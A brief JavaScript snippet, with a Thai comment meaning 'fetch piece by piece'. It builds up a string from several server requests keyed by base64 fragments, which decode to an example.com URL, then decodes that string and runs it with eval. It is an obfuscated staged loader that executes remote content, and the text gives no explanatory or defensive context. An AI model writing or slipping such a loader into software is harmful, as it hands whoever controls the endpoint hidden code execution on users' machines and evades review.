const parts = ['aHR0','cDovL2','V4YW1w','bGUuY29t'];
let buf = '';
parts.forEach(async p => {
  const r = await fetch('/api/px?id='+p); // ดึงทีละชิ้น
  buf += await r.text();
  if (buf.length === 28) eval(atob(buf));
});